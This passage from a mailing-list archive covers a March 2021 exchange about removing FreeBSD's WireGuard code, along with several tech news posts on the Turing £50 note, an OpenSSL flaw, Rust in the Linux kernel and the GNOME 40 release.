src tree or in the > ports tree, at this time. As for pfSense, we are conducting an > audit and will decide on the best course of action for our customers > and our company. I actually think that's a great idea. I was under the impression initially that removing it would be a total non-starter and would just make people upset, hence this hurried mad dash to turn things around. But having an opportunity to take it out of tree and develop it slowly and carefully, like we did for Linux and OpenBSD, sounds a lot better. This also meshes well with what we had planned to do, which I mentioned in the announcement email this morning -- have this available as an out of tree module that people can try out. Then, after we've got it really solid, reintroduce it in the normal FreeBSD ways of doing that. (I'm not so familiar with that latter process, but I trust that Kyle & folks know that part well.) On Mon, Mar 15, 2021 at 6:08 PM Scott Long <scottl(a)netgate.com> wrote: > > Scott So, that's where we are. You're upset and making threats to slander security researchers and kernel programmers. That's really disappointing. All I can do is ask you: please don't? We have much more to gain by supporting each other than being in conflict. I just want to make sure FreeBSD 13 (or 14) gets a great WireGuard implementation. And you want to make sure your customers get great products. I see no reason why these are conflicting goals. I hope this can deescalate, and we can work together on this. I'm confident that our goals are ultimately aligned very well. Regards, Jason

2 2

WSL start up script
by Matthew Skiffington 26 Mar '21

26 Mar '21

For heathens like me that use the windows linux subsystem (wsl): https://askubuntu.com/questions/978977/windows-subsystem-for-linux-display-… Cheers, Matthew

2 1

Alan Turing On UK £50 Note
by Lawrence D'Oliveiro 26 Mar '21

26 Mar '21

The Bank Of England has shown off the upcoming £50 note featuring computing pioneer Alan Turing <https://www.theregister.com/2021/03/25/turing_50_quid/>. The rhyming slang for this denomination is apparently “bullseyes”, but the linked page gives no explanation of the derivation ...

2 1

OpenSSL fixes high-severity flaw that allows hackers to crash servers
by Peter Reutemann 26 Mar '21

26 Mar '21

'On Thursday, OpenSSL maintainers disclosed and patched a vulnerability that causes servers to crash when they receive a maliciously crafted request from an unauthenticated end user. CVE-2021-3449, as the denial-of-server vulnerability is tracked, is the result of a null pointer dereference bug. Cryptographic engineer Filippo Valsorda, said on Twitter that the flaw could probably have been discovered earlier than now. “Anyway, sounds like you can crash most OpenSSL servers on the Internet today,” he added.' -- source: https://arstechnica.com/gadgets/2021/03/openssl-fixes-high-severity-flaw-th… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linus Torvalds On Where Rust Will Fit Into Linux
by Peter Reutemann 25 Mar '21

25 Mar '21

'ZDNet article, written by Steven J. Vaughan-Nichols: Linux is the poster-child for the C language. But times change. The Rust language has been slowly gathering support for use as a system language in Linux. For example, at the 2020 Linux Plumbers Conference, developers gave serious thought to using the Rust language for new Linux inline code. So, where is it today? I asked Linux's creator, Linus Torvalds, and the Linux stable kernel maintainer Greg Kroah-Hartman for their thoughts. [...] What does Torvalds make of all this? He's in "the 'wait and see' camp -- I'm interested in the project, but I think it's driven by people who are very excited about Rust, and I want to see how it actually then ends up working in practice." "Personally," Torvalds is "in no way "pushing" for Rust, [but] I'm open to it considering the promised advantages and avoiding some safety pitfalls, but I also know that sometimes promises don't pan out." Torvalds thinks "Rust's primary first target seems to be drivers, simply because that's where you find just a lot of different possible targets, and you have these individual parts of the kernel that are fairly small and independent. That may not be a very interesting target to some people, but it's the obvious one." Another point is taking on drivers first for "any initial trials to drivers is simply the architecture side," said Torvalds. "Lots of drivers are only relevant on a couple of target architectures, so the whole issue with Rust code not being supported on some architectures is less of an issue." Kroah-Hartman agrees that "drivers are probably the first place for an attempt like this as they are the 'end leafs' of the tree of dependencies in the kernel source. They depend on core kernel functionality, but nothing depends on them." Torvalds knows some people don't like the idea of Rust in userspace at all. "People complain[ing] about "Rustification" in userspace isn't a great sign for any future kernel use, but hey, we'll see. The kernel is different from userspace projects -- more difficult in some respects (we use a lot of very odd header files that pushes the boundary of what can be called "C"), but easier in many other respects (mainly in the sense that the kernel is fairly self-contained, and then doesn't rely on other projects for the final binary)." From where Kroah-Hartman sits, "it will all come down to how well the interaction between the kernel core structures and lifetime rules that are written in C can be mapped into Rust structures and lifetime rules for drivers in Rust to be able to use them properly. That's going to take a lot of careful work by the developers wanting to hook this all up and I wish them the best of luck."' -- source: https://linux.slashdot.org/story/21/03/24/2115238 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

GNOME 40 Released
by Peter Reutemann 25 Mar '21

25 Mar '21

'The GNOME 40 desktop update has been released with a bunch of new improvements. Phoronix summarizes the major changes: GNOME 40 is out with the GTK4 toolkit in tow, many improvements and alterations to the GNOME Shell including major changes to the dash and workspaces, Mutter has continued refining its Wayland support, Mutter also added a native headless back-end for testing, atomic mode-setting is now supported, input handling is now done in a separate thread, and a wide variety of other improvements. And, yes, there is also the big shift in GNOME's versioning practices moving forward while still sticking to the same six month release regiment. ' -- source: https://tech.slashdot.org/story/21/03/24/1957215 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0